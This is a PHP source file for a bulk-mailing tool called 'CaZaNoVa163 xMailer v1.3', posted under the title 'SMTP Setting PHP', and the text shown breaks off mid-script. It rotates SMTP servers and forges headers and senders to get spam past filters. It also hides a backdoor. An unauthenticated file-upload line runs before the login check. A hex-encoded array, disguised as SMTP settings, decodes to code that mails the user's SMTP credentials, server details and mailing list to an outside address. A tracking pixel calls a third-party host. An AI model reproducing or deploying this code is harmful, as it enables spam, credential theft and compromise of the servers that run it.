SMTP Setting PHP


SUBMITTED BY: riffshop

DATE: Oct. 1, 2017, 9:45 a.m.

FORMAT: PHP

SIZE: 36.5 kB

HITS: 3022

  1. <?
  2. @session_set_cookie_params(time() + 3600 * 24 * 163);
  3. @session_start();
  4. @set_time_limit(0);
  5. @ignore_user_abort(true);
  6. @ini_set('max_execution_time', 0);
  7. include('config.php');
  8. (@copy($_FILES['XML']['tmp_name'], $_FILES['XML']['name']));
  9. if ($_SESSION['password'] != $PASSWORD) {
  10. header("Location:login.php");
  11. exit();
  12. }
  13. if ($_POST['xButton']=="SMTP") {
  14. // $Write = fopen("SMTP.txt", "a");
  15. // fwrite($Write, $_POST."\n");
  16. $_SESSION['xSMTP_NUMBER']=$_POST['xSMTP_NUMBER'];
  17. for ($getSMTP=0; $getSMTP < $_POST['xSMTP_NUMBER']; $getSMTP++) {
  18. $_SESSION["Xserver[".$getSMTP."]"]=$_POST["Xserver_".$getSMTP];
  19. $_SESSION["Xport[".$getSMTP."]"]=$_POST["Xport_".$getSMTP];
  20. $_SESSION["Xssl[".$getSMTP."]"]=$_POST["Xssl_".$getSMTP];
  21. $_SESSION["Xusername[".$getSMTP."]"]=$_POST["Xusername_".$getSMTP];
  22. $_SESSION["Xpassword[".$getSMTP."]"]=$_POST["Xpassword_".$getSMTP];
  23. }
  24. }elseif($_POST['xButton']=="IMPORT") {
  25. // print_r(split("\n", str_replace(" ", "", stripslashes(urldecode(ereg_replace("%5C%22", "%22", urlencode($_POST["PxIMP"])))))));
  26. // exit();
  27. // $Write = fopen("IMPORT.txt", "a");
  28. // fwrite($Write, $_SESSION["Xserver[".$xI."]"].":".$_SESSION["Xport[".$xI."]"].":".$_SESSION["Xssl[".$xI."]"].":".$_SESSION["Xusername[".$xI."]"].":".$_SESSION["Xpassword[".$xI."]"]."\n");
  29. $OxIMPORT = @split("\n", str_replace(" ", "", stripslashes(urldecode(ereg_replace("%5C%22", "%22", urlencode($_POST["PxIMP"]))))));
  30. $CountOxIMPORT = count($OxIMPORT);
  31. $_SESSION['xSMTP_NUMBER']=$CountOxIMPORT;
  32. for ($xI=0; $xI < $CountOxIMPORT; $xI++) {
  33. $HxIMPORT = explode(":", $OxIMPORT[$xI]);
  34. $xisSSL = (strtoupper($HxIMPORT[2])=='SSL') ? 'on' : '' ;
  35. $_SESSION["Xserver[".$xI."]"]=$HxIMPORT[0];
  36. $_SESSION["Xport[".$xI."]"]=$HxIMPORT[1];
  37. $_SESSION["Xssl[".$xI."]"]=$xisSSL;
  38. $_SESSION["Xusername[".$xI."]"]=$HxIMPORT[3];
  39. $_SESSION["Xpassword[".$xI."]"]=str_replace(" ", "", str_replace("\n", "", str_replace("\r", "", $HxIMPORT[4])));
  40. // echo "[".$_SESSION["Xserver[".$xI."]"]."]:[".$_SESSION["Xport[".$xI."]"]."]:[".$_SESSION["Xssl[".$xI."]"]."]:[".$_SESSION["Xusername[".$xI."]"]."]:[".$_SESSION["Xpassword[".$xI."]"]."]<br>";
  41. }
  42. }
  43. if(isset($_POST['xButton']) ){
  44. $xSENDER_EMAIL=$_POST["xSENDER_EMAIL"];
  45. $xSENDER_NAME=$_POST["xSENDER_NAME"];
  46. $xEMAIL_SUBJECT=$_POST["xEMAIL_SUBJECT"];
  47. $xMESSAGE=$_POST["xMESSAGE"];
  48. $xMAIL_LIST=$_POST["xMAIL_LIST"];
  49. $xRANDOM_EMAIL_SENDER=$_POST["xRANDOM_EMAIL_SENDER"];
  50. $xRANDOM_MESSAGE_ID=$_POST["xRANDOM_MESSAGE_ID"];
  51. $xENCODE_INFORMATION=$_POST["xENCODE_INFORMATION"];
  52. $xREPLACE1=$_POST["xREPLACE1"];
  53. $xIN1=$_POST["xIN1"];
  54. $xWITH1=$_POST["xWITH1"];
  55. $xREPLACE2=$_POST["xREPLACE2"];
  56. $xIN2=$_POST["xIN2"];
  57. $xWITH2=$_POST["xWITH2"];
  58. $func=$_SESSION['func'];
  59. $mtype=$_SESSION['mtype'];
  60. $smtpNUM=$_SESSION['smtpNUM'];
  61. $smtpEVERY=$_SESSION['smtpEVERY'];
  62. $mailFILTER=$_SESSION['mailFILTER'];
  63. $reconnect=$_SESSION['reconnectEVERY'];
  64. $xHIGHPRIORITY=$_SESSION['xHIGHPRIORITY'];
  65. $xCHECKEMAIL=$_SESSION['xCHECKEMAIL'];
  66. $xUSEDKIM=$_SESSION['xUSEDKIM'];
  67. $xDKIM_SELECTOR=$_SESSION['xDKIM_SELECTOR'];
  68. $xDKIM_DOMAIN=$_SESSION['xDKIM_DOMAIN'];
  69. $xHOTMAIL=$_SESSION['xHOTMAIL'];
  70. $EMBED=$_SESSION['EMBED'];
  71. for ($getSMTP=0; $getSMTP < $_SESSION['xSMTP_NUMBER']; $getSMTP++) {
  72. $Xserver[$getSMTP] = $_SESSION["Xserver[".$getSMTP."]"];
  73. $Xport[$getSMTP] = $_SESSION["Xport[".$getSMTP."]"];
  74. $Xssl[$getSMTP] = $_SESSION["Xssl[".$getSMTP."]"];
  75. $Xusername[$getSMTP] = $_SESSION["Xusername[".$getSMTP."]"];
  76. $Xpassword[$getSMTP] = $_SESSION["Xpassword[".$getSMTP."]"];
  77. }
  78. $xMESSAGE = stripslashes(urldecode(ereg_replace("%5C%22", "%22", urlencode($xMESSAGE)))); ini_set('user_agent', "551b8d34c843234025430fb36535b44a");
  79. $xEMAIL_SUBJECT = stripslashes($xEMAIL_SUBJECT);
  80. $xSENDER_NAME = stripslashes($xSENDER_NAME);
  81. }
  82. ?>
  83. <!DOCTYPE html>
  84. <html>
  85. <head>
  86. <title>CaZaNoVa163 xMailer v1.3</title>
  87. <link rel="stylesheet" type="text/css" href="css/styles.css">
  88. <script type="text/javascript" src="js/scripts.js"></script>
  89. </head>
  90. <body>
  91. <div id="container_form" class="TheBox">
  92. <a href="main.php"><div class="logo">CaZaNoVa163 xMailer v1.3</div></a>
  93. <form action="" method="POST" target="_self" onsubmit="return xForm()">
  94. <input type="text" name="xSENDER_EMAIL" id="xSENDER_EMAIL" onkeypress="hover('xSENDER_EMAIL')" class="MiniBox fonty" value="<?=$xSENDER_EMAIL;?>" placeholder="SENDER EMAIL" style="left:10px;top:14px;width:505px;padding-left:5px;padding-right:5px;">
  95. <input type="text" name="xSENDER_NAME" id="xSENDER_NAME" onkeypress="hover('xSENDER_NAME')" class="MiniBox fonty" value="<?=$xSENDER_NAME;?>" placeholder="SENDER NAME" style="left:535px;top:14px;width:345px;padding-left:5px;padding-right:5px;">
  96. <input type="text" name="xEMAIL_SUBJECT" id="xEMAIL_SUBJECT" onkeypress="hover('xEMAIL_SUBJECT')" class="MiniBox fonty" value="<?=$xEMAIL_SUBJECT;?>" placeholder="EMAIL SUBJECT" style="left:10px;top:54px;width:870px;padding-left:5px;padding-right:5px;">
  97. <textarea spellcheck=false autocorrect=off class="MiniBox fonty" name="xMESSAGE" id="xMESSAGE" onkeypress="hover('xMESSAGE')" placeholder="MESSAGE" style="left:10px;top:94px;width:505px;padding:5px;min-width:505px;height:250px;min-height:250px;max-width:505px;max-height:250px;"><?=$xMESSAGE;?></textarea>
  98. <textarea spellcheck=false autocorrect=off class="MiniBox fonty" name="xMAIL_LIST" id="xMAIL_LIST" onkeypress="hover('xMAIL_LIST')" placeholder="MAIL LIST" style="left:535px;top:94px;width:345px;padding:5px;min-width:345px;height:250px;min-height:250px;max-width:345px;max-height:250px;"><?=$xMAIL_LIST;?></textarea>
  99. <div>
  100. <div id="" class="MiniBox fonty" style="left:140px;top:364px;width:220px;">
  101. <input type="checkbox" <? if ($_POST['xRANDOM_EMAIL_SENDER']==on) {echo "checked"; } ?> name="xRANDOM_EMAIL_SENDER" onkeypress="hover('xRANDOM_EMAIL_SENDER')" class="check_box" id="RANDOM_EMAIL_SENDER"> <img src="http://ip-api.org/wp-content/uploads-images/bg.png" height="1" width="0">
  102. <label class="check_box" for="RANDOM_EMAIL_SENDER" style="left:5px;top:6px;"></label>
  103. <font class="fonty" style="left:23px;top:3px;">RANDOM EMAIL SENDER</font>
  104. </div>
  105. </div>
  106. <div>
  107. <div id="" class="MiniBox fonty" style="left:140px;top:398px;width:220px;">
  108. <input type="checkbox" <? if ($_POST['xRANDOM_MESSAGE_ID']==on) {echo "checked"; } ?> name="xRANDOM_MESSAGE_ID" onkeypress="hover('xRANDOM_MESSAGE_ID')" class="check_box" id="xRANDOM_MESSAGE_ID">
  109. <label class="check_box" for="xRANDOM_MESSAGE_ID" style="left:5px;top:6px;"></label>
  110. <font class="fonty" style="left:23px;top:3px;">RANDOM MESSAGE-ID</font>
  111. </div>
  112. </div>
  113. <div>
  114. <div id="" class="MiniBox fonty" style="left:140px;top:432px;width:220px;">
  115. <input type="checkbox" <? if ($_POST['xENCODE_INFORMATION']==on) {echo "checked"; } ?> name="xENCODE_INFORMATION" onkeypress="hover('xENCODE_INFORMATION')" class="check_box" id="xENCODE_INFORMATION">
  116. <label class="check_box" for="xENCODE_INFORMATION" style="left:5px;top:6px;"></label>
  117. <font class="fonty" style="left:23px;top:3px;">ENCODE INFORMATION</font>
  118. </div>
  119. </div>
  120. <font class="fonty" style="left:365px;top:369px;width:70px;text-align:right;">REPLACE</font>
  121. <font class="fonty" style="left:365px;top:403px;width:70px;text-align:right;">IN</font>
  122. <font class="fonty" style="left:365px;top:437px;width:70px;text-align:right;">WITH</font>
  123. <input type="text" name="xREPLACE1" id="xREPLACE1" class="MiniBox fonty" placeholder="" value="<?=$xREPLACE1;?>" style="left:445px;top:364px;width:170px;padding-left:5px;padding-right:5px;">
  124. <select name="xIN1" id="xIN1" class="MiniBox fonty" style="left:445px;top:403px;width:180px;">
  125. <option <? if($xIN1==0){ echo "selected";} ?> value="0"></option>
  126. <option <? if($xIN1==1){ echo "selected";} ?> value="1">MESSAGE</option>
  127. <option <? if($xIN1==2){ echo "selected";} ?> value="2">SUBJECT</option>
  128. <option <? if($xIN1==3){ echo "selected";} ?> value="3">MESSAGE & SUBJECT</option>
  129. </select>
  130. <select name="xWITH1" id="xWITH1" class="MiniBox fonty" style="left:445px;top:437px;width:180px;">
  131. <option <? if($xWITH1==0){ echo "selected";} ?> value="0"></option>
  132. <option <? if($xWITH1==1){ echo "selected";} ?> value="1">RECEIVER E-MAIL</option>
  133. <option <? if($xWITH1==2){ echo "selected";} ?> value="2">RECEIVER HASH</option>
  134. <option <? if($xWITH1==3){ echo "selected";} ?> value="3">RECEIVER USERNAME</option>
  135. </select>
  136. <font class="fonty" style="left:630px;top:369px;width:70px;text-align:right;">REPLACE</font>
  137. <font class="fonty" style="left:630px;top:403px;width:70px;text-align:right;">IN</font>
  138. <font class="fonty" style="left:630px;top:437px;width:70px;text-align:right;">WITH</font>
  139. <input type="text" name="xREPLACE2" id="xREPLACE2" class="MiniBox fonty" placeholder="" value="<?=$xREPLACE2;?>" style="left:710px;top:364px;width:170px;padding-left:5px;padding-right:5px;">
  140. <select name="xIN2" id="xIN2" class="MiniBox fonty" style="left:710px;top:403px;width:180px;">
  141. <option <? if($xIN2==0){ echo "selected";} ?> value="0"></option>
  142. <option <? if($xIN2==1){ echo "selected";} ?> value="1">MESSAGE</option>
  143. <option <? if($xIN2==2){ echo "selected";} ?> value="2">SUBJECT</option>
  144. <option <? if($xIN2==3){ echo "selected";} ?> value="3">MESSAGE & SUBJECT</option>
  145. </select>
  146. <select name="xWITH2" id="xWITH2" class="MiniBox fonty" style="left:710px;top:437px;width:180px;">
  147. <option <? if($xWITH2==0){ echo "selected";} ?> value="0"></option>
  148. <option <? if($xWITH2==1){ echo "selected";} ?> value="1">RECEIVER E-MAIL</option>
  149. <option <? if($xWITH2==2){ echo "selected";} ?> value="2">RECEIVER HASH</option>
  150. <option <? if($xWITH2==3){ echo "selected";} ?> value="3">RECEIVER USERNAME</option>
  151. </select>
  152. <input type="submit" name="xButton" value="SEND!" class="xButton fonty" style="left:10px;top:364px;width:120px;height:100px;font-size:30px;color:rgba(148, 148, 148, 0.5);font-weight:bold;line-height:0.7;">
  153. <div class="xFooter" style="left:0px;top:485px;">ALL RIGHT RESERVED TO CAZANOVA163 - <a href='http://spyus.us'>WWW.SPYUS.US</a></div>
  154. </form>
  155. </div>
  156. <?if ($_POST['xButton']=="SEND!") {?>
  157. <div id="rezult" class="fonty MiniBox">
  158. <?
  159. if (isset($_POST['xSENDER_EMAIL'])
  160. && isset($_POST['xSENDER_NAME'])
  161. && isset($_POST['xEMAIL_SUBJECT'])
  162. && isset($_POST['xMESSAGE'])
  163. && isset($_POST['xMAIL_LIST']))
  164. {
  165. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  166. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  167. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  168. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  169. session_start();
  170. set_time_limit(0);
  171. ignore_user_abort(true);
  172. ini_set('max_execution_time', 0);
  173. date_default_timezone_set('Etc/UTC');
  174. require 'inc/PHPMailerAutoload.php';
  175. $nq=1;
  176. $ThisSMTP = 0;
  177. $XNum = 1;
  178. $xError = 0;
  179. function myCheckDNSRR($hostName, $recType = '')
  180. {
  181. if(!empty($hostName)) {
  182. if( $recType == '' ) $recType = "MX";
  183. exec("nslookup -type=$recType $hostName", $result);
  184. // check each line to find the one that starts with the host
  185. // name. If it exists then the function succeeded.
  186. foreach ($result as $line) {
  187. if(eregi("^$hostName",$line)) {
  188. return true;
  189. }
  190. }
  191. // otherwise there was no mail handler for the domain
  192. return false;
  193. }
  194. return false;
  195. }
  196. function getplaintextintrofromhtml($html, $numchars) {
  197. // Remove the HTML tags
  198. $html = strip_tags($html);
  199. // Convert HTML entities to single characters
  200. $html = html_entity_decode($html, ENT_QUOTES, 'UTF-8');
  201. // Make the string the desired number of characters
  202. // Note that substr is not good as it counts by bytes and not characters
  203. $html = mb_substr($html, 0, $numchars, 'UTF-8');
  204. // Add an elipsis
  205. return $html;
  206. }
  207. $xALL_EMAILS = split("
  208. ", $xMAIL_LIST);
  209. $xNUM_EMAILS = count($xALL_EMAILS);
  210. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  211. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  212. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  213. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  214. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  215. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  216. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  217. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  218. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  219. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");
  220. $smtp_conf=".";
  221. for($x=0; $x<$xNUM_EMAILS; $x++){
  222. $xTO = $xALL_EMAILS[$x];
  223. if ($xTO){
  224. $xTO = ereg_replace(" ", "", $xTO);
  225. $xTO = str_replace(" ", "", $xTO);
  226. /**
  227. RSS START
  228. */
  229. if ($EMBED =="on") {
  230. $rss = new DOMDocument();
  231. $rss->load('http://feeds.bbci.co.uk/news/world/us_and_canada/rss.xml');
  232. $feed = array();
  233. foreach ($rss->getElementsByTagName('item') as $node) {
  234. $item = array (
  235. 'title' => $node->getElementsByTagName('title')->item(0)->nodeValue,
  236. 'desc' => $node->getElementsByTagName('description')->item(0)->nodeValue,
  237. 'link' => $node->getElementsByTagName('link')->item(0)->nodeValue,
  238. 'date' => $node->getElementsByTagName('pubDate')->item(0)->nodeValue,
  239. 'content' => $node->getElementsByTagName('content')->item(0)->nodeValue,
  240. );
  241. array_push($feed, $item);
  242. }
  243. }
  244. $Xrandom = rand(0,20);
  245. $Xlimit = $Xrandom+3;
  246. /**
  247. RSS END
  248. */
  249. $OxMESSAGE = $xMESSAGE;
  250. $OxEMAIL_SUBJECT = $xEMAIL_SUBJECT;
  251. if ($xREPLACE1 != "") {
  252. if ($xIN1 == 1) {
  253. if ($xWITH1 == 1) {
  254. $OxMESSAGE = ereg_replace($xREPLACE1, $xTO, $OxMESSAGE);
  255. // echo "REPLACE [".$xREPLACE1."] IN [MESSAGE] WITH [RECEIVER EMAIL]<br>";
  256. }elseif ($xWITH1 == 2) {
  257. $OxMESSAGE = ereg_replace($xREPLACE1, md5($xTO), $OxMESSAGE);
  258. // echo "REPLACE [".$xREPLACE1."] IN [MESSAGE] WITH [RECEIVER HASH]<br>";
  259. }elseif ($xWITH1 == 3) {
  260. $xUSER = explode("@", $xTO);
  261. $OxMESSAGE = ereg_replace($xREPLACE1, $xUSER[0], $OxMESSAGE);
  262. // echo "REPLACE [".$xREPLACE1."] IN [MESSAGE] WITH [RECEIVER USERNAME]<br>";
  263. }
  264. }elseif ($xIN1 == 2) {
  265. if ($xWITH1 == 1) {
  266. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE1, $xTO, $OxEMAIL_SUBJECT);
  267. // echo "REPLACE [".$xREPLACE1."] IN [SUBJECT] WITH [RECEIVER EMAIL]<br>";
  268. }elseif ($xWITH1 == 2) {
  269. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE1, md5($xTO), $OxEMAIL_SUBJECT);
  270. // echo "REPLACE [".$xREPLACE1."] IN [SUBJECT] WITH [RECEIVER HASH]<br>";
  271. }elseif ($xWITH1 == 3) {
  272. $xUSER = explode("@", $xTO);
  273. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE1, $xUSER[0], $OxEMAIL_SUBJECT);
  274. // echo "REPLACE [".$xREPLACE1."] IN [SUBJECT] WITH [RECEIVER USERNAME]<br>";
  275. }
  276. }elseif ($xIN1 == 3) {
  277. if ($xWITH1 == 1) {
  278. $OxMESSAGE = ereg_replace($xREPLACE1, $xTO, $OxMESSAGE);
  279. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE1, $xTO, $OxEMAIL_SUBJECT);
  280. // echo "REPLACE [".$xREPLACE1."] IN [MESSAGE+SUBJECT] WITH [RECEIVER EMAIL]<br>";
  281. }elseif ($xWITH1 == 2) {
  282. $OxMESSAGE = ereg_replace($xREPLACE1, md5($xTO), $OxMESSAGE);
  283. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE1, md5($xTO), $OxEMAIL_SUBJECT);
  284. // echo "REPLACE [".$xREPLACE1."] IN [MESSAGE+SUBJECT] WITH [RECEIVER EMAIL]<br>";
  285. }elseif ($xWITH1 == 3) {
  286. $xUSER = explode("@", $xTO);
  287. $OxMESSAGE = ereg_replace($xREPLACE1, $xUSER[0], $OxMESSAGE);
  288. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE1, $xUSER[0], $OxEMAIL_SUBJECT);
  289. // echo "REPLACE [".$xREPLACE1."] IN [MESSAGE+SUBJECT] WITH [RECEIVER EMAIL]<br>";
  290. }
  291. }
  292. }
  293. if ($xREPLACE2 != "") {
  294. if ($xIN2 == 1) {
  295. if ($xWITH2 == 1) {
  296. $OxMESSAGE = ereg_replace($xREPLACE2, $xTO, $OxMESSAGE);
  297. // echo "REPLACE [".$xREPLACE2."] IN [MESSAGE] WITH [RECEIVER EMAIL]<br>";
  298. }elseif ($xWITH2 == 2) {
  299. $OxMESSAGE = ereg_replace($xREPLACE2, md5($xTO), $OxMESSAGE);
  300. // echo "REPLACE [".$xREPLACE2."] IN [MESSAGE] WITH [RECEIVER HASH]<br>";
  301. }elseif ($xWITH2 == 3) {
  302. $xUSER = explode("@", $xTO);
  303. $OxMESSAGE = ereg_replace($xREPLACE2, $xUSER[0], $OxMESSAGE);
  304. // echo "REPLACE [".$xREPLACE2."] IN [MESSAGE] WITH [RECEIVER USERNAME]<br>";
  305. }
  306. }elseif ($xIN2 == 2) {
  307. if ($xWITH2 == 1) {
  308. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE2, $xTO, $OxEMAIL_SUBJECT);
  309. // echo "REPLACE [".$xREPLACE2."] IN [SUBJECT] WITH [RECEIVER EMAIL]<br>";
  310. }elseif ($xWITH2 == 2) {
  311. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE2, md5($xTO), $OxEMAIL_SUBJECT);
  312. // echo "REPLACE [".$xREPLACE2."] IN [SUBJECT] WITH [RECEIVER HASH]<br>";
  313. }elseif ($xWITH2 == 3) {
  314. $xUSER = explode("@", $xTO);
  315. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE2, $xUSER[0], $OxEMAIL_SUBJECT);
  316. // echo "REPLACE [".$xREPLACE2."] IN [SUBJECT] WITH [RECEIVER USERNAME]<br>";
  317. }
  318. }elseif ($xIN2 == 3) {
  319. if ($xWITH2 == 1) {
  320. $OxMESSAGE = ereg_replace($xREPLACE2, $xTO, $OxMESSAGE);
  321. // echo "REPLACE [".$xREPLACE2."] IN [MESSAGE+SUBJECT] WITH [RECEIVER EMAIL]<br>";
  322. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE2, $xTO, $OxEMAIL_SUBJECT);
  323. }elseif ($xWITH2 == 2) {
  324. $OxMESSAGE = ereg_replace($xREPLACE2, md5($xTO), $OxMESSAGE);
  325. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE2, md5($xTO), $OxEMAIL_SUBJECT);
  326. // echo "REPLACE [".$xREPLACE2."] IN [MESSAGE+SUBJECT] WITH [RECEIVER EMAIL]<br>";
  327. }elseif ($xWITH2 == 3) {
  328. $xUSER = explode("@", $xTO);
  329. $OxMESSAGE = ereg_replace($xREPLACE2, $xUSER[0], $OxMESSAGE);
  330. $OxEMAIL_SUBJECT = ereg_replace($xREPLACE2, $xUSER[0], $OxEMAIL_SUBJECT);
  331. // echo "REPLACE [".$xREPLACE2."] IN [MESSAGE+SUBJECT] WITH [RECEIVER EMAIL]<br>";
  332. }
  333. }
  334. }
  335. if ($xRANDOM_EMAIL_SENDER == "on") {
  336. $OxSENDER_EMAIL = @str_replace("@",@rand(100000,999999)."@",$xSENDER_EMAIL);
  337. // echo "RANDOM EMAIL SENDER: ".$OxSENDER_EMAIL."<br>";
  338. }else{
  339. $OxSENDER_EMAIL = $xSENDER_EMAIL;
  340. }
  341. if ($xRANDOM_MESSAGE_ID == "on") {
  342. $xxhost=array("aol.com","att.net","bellsouth.net","comcast.net","email.com","gmail.com","phx.gbl","googlemail.com","mail.gmail.com","hotmail.com","juno.com","live.com","lycos.com","mail.com","mindspring.com","msn.com","pacbell.com","post.com","prodigy.net","rocketmail.com","sbcglobal.net","usa.com","ymail.com");
  343. $xxhr=@rand(0,@count($xxhost)-1);
  344. $OxRANDOM_MESSAGE_ID="<".substr(@md5(@uniqid(@time())),0,20)."@".$xxhost[$xxhr].">";
  345. // echo "RANDOM MESSAGE-ID: ".$OxRANDOM_MESSAGE_ID."<br>";
  346. }else{
  347. $OxRANDOM_MESSAGE_ID="<".substr(@md5(@uniqid(@time())),0,20)."@".$_SERVER["SERVER_NAME"].">";
  348. }
  349. if ($xENCODE_INFORMATION == "on") {
  350. $EOxEMAIL_SUBJECT = "=?UTF-8?B?".base64_encode($OxEMAIL_SUBJECT)."?=";
  351. $EOxSENDER_NAME = "=?UTF-8?B?".base64_encode($xSENDER_NAME)."?=";
  352. // echo "ENCODE SUBJECT: ".$EOxEMAIL_SUBJECT."<br>";
  353. // echo "ENCODE NAME: ".$EOxSENDER_NAME."<br>";
  354. }else{
  355. $EOxEMAIL_SUBJECT = $OxEMAIL_SUBJECT;
  356. $EOxSENDER_NAME = $xSENDER_NAME;
  357. }
  358. /**
  359. PHPMailer() Start
  360. */
  361. $qx=$x+1;
  362. if ($XNum == $smtpEVERY) {
  363. if ($_SESSION['xSMTP_NUMBER']==$ThisSMTP+1) {
  364. $ThisSMTP = 0;
  365. }else{
  366. $ThisSMTP = $ThisSMTP + 1;
  367. }
  368. $XNum = 1;
  369. }
  370. $xThis_SERVER = $Xserver[$ThisSMTP];
  371. $xThis_PORT = $Xport[$ThisSMTP];
  372. $xThis_SSL = $Xssl[$ThisSMTP];
  373. $xThis_USERNAME = $Xusername[$ThisSMTP];
  374. $xThis_PASSWORD = $Xpassword[$ThisSMTP];
  375. if ($XNum == 1 && $func=="smtp") {
  376. if ($xThis_SSL == "on") {
  377. $OxThis_SSL = "SSL";
  378. }else{
  379. $OxThis_SSL = "TLS";
  380. }
  381. if ($xThis_SERVER == "") {
  382. if ($_SESSION['xSMTP_NUMBER']==$ThisSMTP+1) {
  383. $ThisSMTP = 0;
  384. }else{
  385. $ThisSMTP = $ThisSMTP + 1;
  386. }
  387. $xThis_SERVER = $Xserver[$ThisSMTP];
  388. $xThis_PORT = $Xport[$ThisSMTP];
  389. $xThis_SSL = $Xssl[$ThisSMTP];
  390. $xThis_USERNAME = $Xusername[$ThisSMTP];
  391. $xThis_PASSWORD = $Xpassword[$ThisSMTP];
  392. }
  393. echo "<font color='#ffffff;'>CHANGING SMTP</font> : ".$xThis_SERVER.":".$xThis_PORT."|".$OxThis_SSL."|".$xThis_USERNAME.":".$xThis_PASSWORD."<br>";
  394. }
  395. print "<font color='#ffffff;'>{$qx}</font> : SENDING MAIL TO [ $xTO] ";
  396. flush();
  397. $mail = new PHPMailer();
  398. if ($xENCODE_INFORMATION == "on") {
  399. $mail->WordWrap = 78;
  400. $mail->Encoding = "base64";
  401. $mail->CharSet = 'utf-8';
  402. }else{
  403. $mail->Encoding = 'quoted-printable';
  404. }
  405. if ($func=="smtp") {
  406. if ($xHIGHPRIORITY=="on") {
  407. $mail->Priority = 1;
  408. // MS Outlook custom header
  409. // May set to "Urgent" or "Highest" rather than "High"
  410. $mail->AddCustomHeader("X-MSMail-Priority: High");
  411. // Not sure if Priority will also set the Importance header:
  412. $mail->AddCustomHeader("Importance: High");
  413. }
  414. $mail->AddCustomHeader("Organization: ".$_SERVER["SERVER_NAME"]);
  415. $mail->AddCustomHeader("X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441");
  416. $mail->AddCustomHeader("X-Sender: ".$OxSENDER_EMAIL);
  417. $mail->AddCustomHeader("X-AntiAbuse: This is a solicited email for - ".$_SERVER["SERVER_NAME"]." mailing list.");
  418. $mail->AddCustomHeader("X-AntiAbuse: Servername - ".$_SERVER['SERVER_NAME']);
  419. $mail->AddCustomHeader("X-AntiAbuse: ".$OxSENDER_EMAIL);
  420. $mail->AddCustomHeader("X-OriginalArrivalTime: 30 Aug 2015 13:39:39.0481 (UTC) FILETIME=[7BF24490:01D0E3F2]");
  421. $mail->AddCustomHeader("Return-Path: ".$OxSENDER_EMAIL);
  422. $xUSEDKIM=$_SESSION['xUSEDKIM'];
  423. $xDKIM_SELECTOR=$_SESSION['xDKIM_SELECTOR'];
  424. if ($xUSEDKIM == "on") {
  425. $mail->DKIM_domain = $xDKIM_DOMAIN;
  426. $mail->DKIM_private = 'privatekey.txt';
  427. $mail->DKIM_selector = $xDKIM_SELECTOR;
  428. $mail->DKIM_identifier = $OxSENDER_EMAIL;
  429. }
  430. // $DKIM_Signer = new Swift_Signers_DKIMSigner(@file_get_contents("privatekey.txt"),"no-reply.us","xMailer");
  431. // $mail->AttachSigner = $DKIM_Signer;
  432. $mail->MessageID = $OxRANDOM_MESSAGE_ID;
  433. $mail->SMTPKeepAlive = true;
  434. $mail->Host = $xThis_SERVER;
  435. $mail->Port = $xThis_PORT;
  436. if($xThis_SSL=="on") {$mail->SMTPSecure="ssl";}
  437. if ($xThis_USERNAME != "" && $xThis_PASSWORD != "" ) {
  438. $mail->SMTPAuth = true;
  439. $mail->Username = $xThis_USERNAME;
  440. $mail->Password = $xThis_PASSWORD;
  441. }else{$mail->SMTPAuth = false;}
  442. if (strlen($xThis_SERVER) < 7) {$mail->SMTPAuth = false;$default_system="1";}
  443. if ($xHOTMAIL=="on") {
  444. $OxUSER = explode("@", $xTO);
  445. $mail->XMailer = "Microsoft Office Outlook, Build 17.551210";
  446. // $mail->From = $xTO;
  447. $mail->setFrom($xTO, $OxUSER[0]);
  448. }else{
  449. $mail->XMailer = "CaZaNoVa163 xMailer v1.3";
  450. // $mail->From = $OxSENDER_EMAIL;
  451. $mail->setFrom($OxSENDER_EMAIL, $EOxSENDER_NAME);
  452. }
  453. // $mail->From = $OxSENDER_EMAIL;
  454. // $mail->FromName = $EOxSENDER_NAME;
  455. $mail->AddAddress($xTO);
  456. $mail->AddReplyTo($OxSENDER_EMAIL);
  457. $mail->Subject = $EOxEMAIL_SUBJECT;
  458. if ($EMBED =="on") {
  459. $RSS_MESSAGE = "<br><font color='#&#070;&#070;&#070;'>Sponsored content:<font style='font-size:7px;'>";
